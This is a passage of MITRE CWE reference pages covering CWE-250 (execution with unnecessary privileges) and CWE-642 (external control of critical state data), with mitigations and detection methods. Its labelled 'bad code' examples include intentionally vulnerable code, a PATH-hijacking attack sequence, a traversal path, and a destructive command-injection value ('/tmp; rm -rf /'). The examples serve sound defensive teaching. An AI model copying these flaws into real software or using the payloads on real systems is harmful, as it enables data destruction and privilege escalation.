2021-03-15CWE Content TeamMITRE
updated References, Related_Attack_Patterns
2021-07-20CWE Content TeamMITRE
updated Demonstrative_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Mobile Code: Invoking Untrusted Mobile Code
2009-01-12Download of Untrusted Mobile Code Without Integrity Check

CWE-250: Execution with Unnecessary Privileges

Weakness ID: 250
Abstraction: Base
Structure: Simple
Status: Draft
Presentation Filter:
+ Description
The software performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses.
+ Extended Description

New weaknesses can be exposed because running with extra privileges, such as root or Administrator, can disable the normal security checks being performed by the operating system or surrounding environment. Other pre-existing weaknesses can turn into security vulnerabilities if they occur while operating at raised privileges.

Privilege management functions can behave in some less-than-obvious ways, and they have different quirks on different platforms. These inconsistencies are particularly pronounced if you are transitioning from one non-root user to another. Signal handlers and spawned processes run at the privilege of the owning process, so if a process is running as root when a signal fires or a sub-process is executed, the signal handler or sub-process will operate with root privileges.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.269Improper Privilege Management
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.657Violation of Secure Design Principles
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.265Privilege Issues
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1015Limit Access
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Installation
Architecture and Design

If an application has this design problem, then it can be easier for the developer to make implementation-related errors such as CWE-271 (Privilege Dropping / Lowering Errors). In addition, the consequences of Privilege Chaining (CWE-268) can become more severe.

Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Language-Independent (Undetermined Prevalence)

Technologies

Class: Mobile (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity
Availability
Access Control

Technical Impact: Gain Privileges or Assume Identity; Execute Unauthorized Code or Commands; Read Application Data; DoS: Crash, Exit, or Restart

An attacker will be able to gain access to any resources that are allowed by the extra privileges. Common results include executing code, disabling services, and reading restricted data.
+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1

This code temporarily raises the program's privileges to allow creation of a new user folder.

(bad code)
Example Language: Python 
def makeNewUserDir(username):
if invalidUsername(username):

#avoid CWE-22 and CWE-78
print('Usernames cannot contain invalid characters')
return False

try:
raisePrivileges()
os.mkdir('/home/' + username)
lowerPrivileges()

except OSError:
print('Unable to create new user directory for user:' + username)
return False

return True

While the program only raises its privilege level to create the folder and immediately lowers it again, if the call to os.mkdir() throws an exception, the call to lowerPrivileges() will not occur. As a result, the program is indefinitely operating in a raised privilege state, possibly allowing further exploitation to occur.

Example 2

The following code calls chroot() to restrict the application to a subset of the filesystem below APP_HOME in order to prevent an attacker from using the program to gain unauthorized access to files located elsewhere. The code then opens a file specified by the user and processes the contents of the file.

(bad code)
Example Language:
chroot(APP_HOME);
chdir("/");
FILE* data = fopen(argv[1], "r+");
...

Constraining the process inside the application's home directory before opening any files is a valuable security measure. However, the absence of a call to setuid() with some non-zero value means the application is continuing to operate with unnecessary root privileges. Any successful exploit carried out by an attacker against the application can now result in a privilege escalation attack because any malicious operations will be performed with the privileges of the superuser. If the application drops to the privilege level of a non-root user, the potential for damage is substantially reduced.

Example 3

This application intends to use a user's location to determine the timezone the user is in:

(bad code)
Example Language: Java 
locationClient = new LocationClient(this, this, this);
locationClient.connect();
Location userCurrLocation;
userCurrLocation = locationClient.getLastLocation();
setTimeZone(userCurrLocation);

This is unnecessary use of the location API, as this information is already available using the Android Time API. Always be sure there is not another way to obtain needed information before resorting to using the location API.

Example 4

This code uses location to determine the user's current US State location.

First the application must declare that it requires the ACCESS_FINE_LOCATION permission in the application's manifest.xml:

(bad code)
Example Language: XML 
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>

During execution, a call to getLastLocation() will return a location based on the application's location permissions. In this case the application has permission for the most accurate location possible:

(bad code)
Example Language: Java 
locationClient = new LocationClient(this, this, this);
locationClient.connect();
Location userCurrLocation;
userCurrLocation = locationClient.getLastLocation();
deriveStateFromCoords(userCurrLocation);

While the application needs this information, it does not need to use the ACCESS_FINE_LOCATION permission, as the ACCESS_COARSE_LOCATION permission will be sufficient to identify which US state the user is in.

+ Observed Examples
ReferenceDescription
FTP client program on a certain OS runs with setuid privileges and has a buffer overflow. Most clients do not need extra privileges, so an overflow is not a vulnerability for those clients.
Program runs with privileges and calls another program with the same privileges, which allows read of arbitrary files.
OS incorrectly installs a program with setuid privileges, allowing users to gain privileges.
Composite: application running with high privileges (CWE-250) allows user to specify a restricted file to process, which generates a parsing error that leaks the contents of the file (CWE-209).
Program does not drop privileges before calling another program, allowing code execution.
setuid root program allows creation of arbitrary files through command line argument.
Installation script installs some programs as setuid when they shouldn't be.
+ Potential Mitigations

Phases: Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phase: Architecture and Design

Strategy: Separation of Privilege

Identify the functionality that requires additional privileges, such as access to privileged operating system resources. Wrap and centralize this functionality if possible, and isolate the privileged code as much as possible from other code [REF-76]. Raise privileges as late as possible, and drop them as soon as possible to avoid CWE-271. Avoid weaknesses such as CWE-288 and CWE-420 by protecting all possible communication channels that could interact with the privileged code, such as a secondary socket that is only intended to be accessed by administrators.

Phase: Architecture and Design

Strategy: Attack Surface Reduction

Identify the functionality that requires additional privileges, such as access to privileged operating system resources. Wrap and centralize this functionality if possible, and isolate the privileged code as much as possible from other code [REF-76]. Raise privileges as late as possible, and drop them as soon as possible to avoid CWE-271. Avoid weaknesses such as CWE-288 and CWE-420 by protecting all possible communication channels that could interact with the privileged code, such as a secondary socket that is only intended to be accessed by administrators.

Phase: Implementation

Perform extensive input validation for any privileged code that must be exposed to the user and reject anything that does not fit your strict requirements.

Phase: Implementation

When dropping privileges, ensure that they have been dropped successfully to avoid CWE-273. As protection mechanisms in the environment get stronger, privilege-dropping calls may fail even if it seems like they would always succeed.

Phase: Implementation

If circumstances force you to run with extra privileges, then determine the minimum access level necessary. First identify the different permissions that the software and its users will need to perform their actions, such as file read and write permissions, network socket permissions, and so forth. Then explicitly allow those actions while denying all else [REF-76]. Perform extensive input validation and canonicalization to minimize the chances of introducing a separate vulnerability. This mitigation is much more prone to error than dropping the privileges in the first place.

Phases: Operation; System Configuration

Strategy: Environment Hardening

Ensure that the software runs properly under the Federal Desktop Core Configuration (FDCC) [REF-199] or an equivalent hardening configuration guide, which many organizations use to limit the attack surface and potential risk of deployed software.
+ Detection Methods

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.
Note: These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.

Attach the monitor to the process and perform a login. Look for library functions and system calls that indicate when privileges are being raised or dropped. Look for accesses of resources that are restricted to normal users.

Note: Note that this technique is only useful for privilege issues related to system resources. It is not likely to detect application-level business rules that are related to privileges, such as if a blog system allows a user to delete a blog entry without first checking that the user has administrator privileges.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Compare binary / bytecode to application permission manifest
Cost effective for partial coverage:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: High

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Host-based Vulnerability Scanners - Examine configuration for flaws, verifying that audit mechanisms work, ensure host configuration meets certain predefined criteria

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Host Application Interface Scanner

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Manual Source Code Review (not inspections)
Cost effective for partial coverage:
  • Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Automated Static Analysis

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Configuration Checker
  • Permission Manifest Analysis

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Attack Modeling

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.2277PK - API Abuse
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.7532009 Top 25 - Porous Defenses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.815OWASP Top Ten 2010 Category A6 - Security Misconfiguration
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.858The CERT Oracle Secure Coding Standard for Java (2011) Chapter 15 - Serialization (SER)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8662011 Top 25 - Porous Defenses
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.901SFP Primary Cluster: Privilege
+ Notes

Maintenance

CWE-271, CWE-272, and CWE-250 are all closely related and possibly overlapping. CWE-271 is probably better suited as a category. Both CWE-272 and CWE-250 are in active use by the community. The "least privilege" phrase has multiple interpretations.

Relationship

There is a close association with CWE-653 (Insufficient Separation of Privileges). CWE-653 is about providing separate components for each privilege; CWE-250 is about ensuring that each component has the least amount of privileges possible.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsOften Misused: Privilege Management
The CERT Oracle Secure Coding Standard for Java (2011)SER09-JMinimize privileges before deserializing from a privilege context
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
[REF-196] Jerome H. Saltzer and Michael D. Schroeder. "The Protection of Information in Computer Systems". Proceedings of the IEEE 63. 1975-09. <http://web.mit.edu/Saltzer/www/publications/protection/>.
[REF-76] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. <https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html>.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 7, "Running with Least Privilege" Page 207. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-199] NIST. "Federal Desktop Core Configuration". <http://nvd.nist.gov/fdcc/index.cfm>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 16: Executing Code With Too Much Privilege." Page 243. McGraw-Hill. 2010.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 9, "Privilege Vulnerabilities", Page 477. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-197 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-09-08CWE Content TeamMITRE
updated Description, Modes_of_Introduction, Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description, Maintenance_Notes
2009-01-12CWE Content TeamMITRE
updated Common_Consequences, Description, Likelihood_of_Exploit, Maintenance_Notes, Name, Observed_Examples, Other_Notes, Potential_Mitigations, Relationships, Time_of_Introduction
2009-03-10CWE Content TeamMITRE
updated Potential_Mitigations
2009-05-27CWE Content TeamMITRE
updated Related_Attack_Patterns
2010-02-16CWE Content TeamMITRE
updated Detection_Factors, Potential_Mitigations, References
2010-06-21CWE Content TeamMITRE
updated Detection_Factors, Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2011-09-13CWE Content TeamMITRE
updated Potential_Mitigations, References, Relationships
2012-05-11CWE Content TeamMITRE
updated References, Related_Attack_Patterns, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-07-17CWE Content TeamMITRE
updated Applicable_Platforms
2014-02-18CWE Content TeamMITRE
updated Demonstrative_Examples
2014-07-30CWE Content TeamMITRE
updated Detection_Factors
2017-11-08CWE Content TeamMITRE
updated Modes_of_Introduction, References, Relationships
2018-03-27CWE Content TeamMITRE
updated References
2019-01-03CWE Content TeamMITRE
updated Taxonomy_Mappings
2019-09-19CWE Content TeamMITRE
updated Demonstrative_Examples
2020-02-24CWE Content TeamMITRE
updated Applicable_Platforms, Detection_Factors, Observed_Examples, References, Relationships, Type
+ Previous Entry Names
Change DatePrevious Entry Name
2008-01-30Often Misused: Privilege Management
2009-01-12Design Principle Violation: Failure to Use Least Privilege

CWE-642: External Control of Critical State Data

Weakness ID: 642
Abstraction: Class
Structure: Simple
Status: Draft
Presentation Filter:
+ Description
The software stores security-critical state information about its users, or the software itself, in a location that is accessible to unauthorized actors.
+ Extended Description

If an attacker can modify the state information without detection, then it could be used to perform unauthorized actions or access unexpected resources, since the application programmer does not expect that the state can be changed.

State information can be stored in various locations such as a cookie, in a hidden web form field, input parameter or argument, an environment variable, a database record, within a settings file, etc. All of these locations have the potential to be modified by an attacker. When this state information is used to control security or determine resource usage, then it may create a vulnerability. For example, an application may perform authentication, then save the state in an "authenticated=true" cookie. An attacker may simply create this cookie in order to bypass the authentication.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.668Exposure of Resource to Wrong Sphere
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.15External Control of System or Configuration Setting
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.73External Control of File Name or Path
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.426Untrusted Search Path
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.472External Control of Assumed-Immutable Web Parameter
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.565Reliance on Cookies without Validation and Integrity Checking
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1011Authorize Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignOMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Language-Independent (Undetermined Prevalence)

Technologies

Web Server (Often Prevalent)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Bypass Protection Mechanism; Gain Privileges or Assume Identity

An attacker could potentially modify the state in malicious ways. If the state is related to the privileges or level of authentication that the user has, then state modification might allow the user to bypass authentication or elevate privileges.
Confidentiality

Technical Impact: Read Application Data

The state variables may contain sensitive information that should not be known by the client.
Availability

Technical Impact: DoS: Crash, Exit, or Restart

By modifying state variables, the attacker could violate the application's expectations for the contents of the state, leading to a denial of service due to an unexpected error condition.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

In the following example, an authentication flag is read from a browser cookie, thus allowing for external control of user state data.

(bad code)
Example Language: Java 
Cookie[] cookies = request.getCookies();
for (int i =0; i< cookies.length; i++) {
Cookie c = cookies[i];
if (c.getName().equals("authenticated") && Boolean.TRUE.equals(c.getValue())) {
authenticated = true;
}
}

Example 2

The following code uses input from an HTTP request to create a file name. The programmer has not considered the possibility that an attacker could provide a file name such as "../../tomcat/conf/server.xml", which causes the application to delete one of its own configuration files (CWE-22).

(bad code)
Example Language: Java 
String rName = request.getParameter("reportName");
File rFile = new File("/usr/local/apfr/reports/" + rName);
...
rFile.delete();

Example 3

The following code uses input from a configuration file to determine which file to open and echo back to the user. If the program runs with privileges and malicious users can change the configuration file, they can use the program to read any file on the system that ends with the extension .txt.

(bad code)
Example Language: Java 
fis = new FileInputStream(cfg.getProperty("sub")+".txt");
amt = fis.read(arr);
out.println(arr);

Example 4

This program is intended to execute a command that lists the contents of a restricted directory, then performs other actions. Assume that it runs with setuid privileges in order to bypass the permissions check by the operating system.

(bad code)
Example Language:
#define DIR "/restricted/directory"

char cmd[500];
sprintf(cmd, "ls -l %480s", DIR);
/* Raise privileges to those needed for accessing DIR. */

RaisePrivileges(...);
system(cmd);
DropPrivileges(...);
...

This code may look harmless at first, since both the directory and the command are set to fixed values that the attacker can't control. The attacker can only see the contents for DIR, which is the intended program behavior. Finally, the programmer is also careful to limit the code that executes with raised privileges.

However, because the program does not modify the PATH environment variable, the following attack would work:

(attack code)
 
  • The user sets the PATH to reference a directory under the attacker's control, such as "/my/dir/".
  • The attacker creates a malicious program called "ls", and puts that program in /my/dir
  • The user executes the program.
  • When system() is executed, the shell consults the PATH to find the ls program
  • The program finds the attacker's malicious program, "/my/dir/ls". It doesn't find "/bin/ls" because PATH does not contain "/bin/".
  • The program executes the attacker's malicious program with the raised privileges.

Example 5

The following code segment implements a basic server that uses the "ls" program to perform a directory listing of the directory that is listed in the "HOMEDIR" environment variable. The code intends to allow the user to specify an alternate "LANG" environment variable. This causes "ls" to customize its output based on a given language, which is an important capability when supporting internationalization.

(bad code)
Example Language: Perl 
$ENV{"HOMEDIR"} = "/home/mydir/public/";
my $stream = AcceptUntrustedInputStream();
while (<$stream>) {
chomp;
if (/^ENV ([\w\_]+) (.*)/) {
$ENV{$1} = $2;
}
elsif (/^QUIT/) { ... }
elsif (/^LIST/) {
open($fh, "/bin/ls -l $ENV{HOMEDIR}|");
while (<$fh>) {
SendOutput($stream, "FILEINFO: $_");
}
close($fh);
}
}

The programmer takes care to call a specific "ls" program and sets the HOMEDIR to a fixed value. However, an attacker can use a command such as "ENV HOMEDIR /secret/directory" to specify an alternate directory, enabling a path traversal attack (CWE-22). At the same time, other attacks are enabled as well, such as OS command injection (CWE-78) by setting HOMEDIR to a value such as "/tmp; rm -rf /". In this case, the programmer never intends for HOMEDIR to be modified, so input validation for HOMEDIR is not the solution. A partial solution would be an allowlist that only allows the LANG variable to be specified in the ENV command. Alternately, assuming this is an authenticated user, the language could be stored in a local file so that no ENV command at all would be needed.

While this example may not appear realistic, this type of problem shows up in code fairly frequently. See CVE-1999-0073 in the observed examples for a real-world example with similar behaviors.

+ Observed Examples
ReferenceDescription
Mail client stores password hashes for unrelated accounts in a hidden form field.
Privileged program trusts user-specified environment variable to modify critical configuration settings.
Telnet daemon allows remote clients to specify critical environment variables for the server, leading to code execution.
Untrusted search path vulnerability through modified LD_LIBRARY_PATH environment variable.
Untrusted search path vulnerability through modified LD_LIBRARY_PATH environment variable.
Calendar application allows bypass of authentication by setting a certain cookie value to 1.
Setting of a language preference in a cookie enables path traversal attack.
Application allows admin privileges by setting a cookie value to "admin."
Application allows admin privileges by setting a cookie value to "admin."
Application allows admin privileges by setting a cookie value to "admin."
Shopping cart allows price modification via hidden form field.
Shopping cart allows price modification via hidden form field.
Server allows client to specify the search path, which can be modified to point to a program that the client has uploaded.
+ Potential Mitigations

Phase: Architecture and Design

Understand all the potential locations that are accessible to attackers. For example, some programmers assume that cookies and hidden form fields cannot be modified by an attacker, or they may not consider that environment variables can be modified before a privileged program is invoked.

Phase: Architecture and Design

Strategy: Attack Surface Reduction

Store state information and sensitive data on the server side only.

Ensure that the system definitively and unambiguously keeps track of its own state and user state and has rules defined for legitimate state transitions. Do not allow any application user to affect state directly in any way other than through legitimate actions leading to state transitions.

If information must be stored on the client, do not do so without encryption and integrity checking, or otherwise having a mechanism on the server side to catch tampering. Use a message authentication code (MAC) algorithm, such as Hash Message Authentication Code (HMAC) [REF-529]. Apply this against the state or sensitive data that you has to be exposed, which can guarantee the integrity of the data - i.e., that the data has not been modified. Ensure that a strong hash function is used (CWE-328).

Phase: Architecture and Design

Store state information on the server side only. Ensure that the system definitively and unambiguously keeps track of its own state and user state and has rules defined for legitimate state transitions. Do not allow any application user to affect state directly in any way other than through legitimate actions leading to state transitions.

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

With a stateless protocol such as HTTP, use some frameworks can maintain the state for you.

Examples include ASP.NET View State and the OWASP ESAPI Session Management feature.

Be careful of language features that provide state support, since these might be provided as a convenience to the programmer and may not be considering security.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phases: Operation; Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Phase: Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Phase: Testing

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Phase: Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.7522009 Top 25 - Risky Resource Management
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
Software Fault PatternsSFP23Exposed Data
+ References
[REF-528] OWASP. "Top 10 2007-Insecure Direct Object Reference". 2007. <http://www.owasp.org/index.php/Top_10_2007-A4>.
[REF-529] "HMAC". Wikipedia. 2011-08-18. <http://en.wikipedia.org/wiki/Hmac>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 4: Use of Magic URLs, Predictable Cookies, and Hidden Form Fields." Page 75. McGraw-Hill. 2010.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-01-30Evgeny LebanidzeCigital
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships
2008-10-14CWE Content TeamMITRE
updated Description
2009-01-12CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Name, Observed_Examples, Potential_Mitigations, References, Relationships, Relevant_Properties, Type
2009-03-10CWE Content TeamMITRE
updated Potential_Mitigations
2009-07-27CWE Content TeamMITRE
updated Related_Attack_Patterns
2010-02-16CWE Content TeamMITRE
updated Potential_Mitigations
2010-06-21CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations, References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-02-18CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-01-19CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Enabling_Factors_for_Exploitation, Modes_of_Introduction, References, Relationships, Relevant_Properties
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-06-25CWE Content TeamMITRE
updated Demonstrative_Examples
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Insufficient Management of User State
2009-01-12External Control of User State Data

CWE-73: External Control of File Name or Path

Weakness ID: 73
Abstraction: Base
Structure: Simple
Status: Draft
Presentation Filter:
+ Description
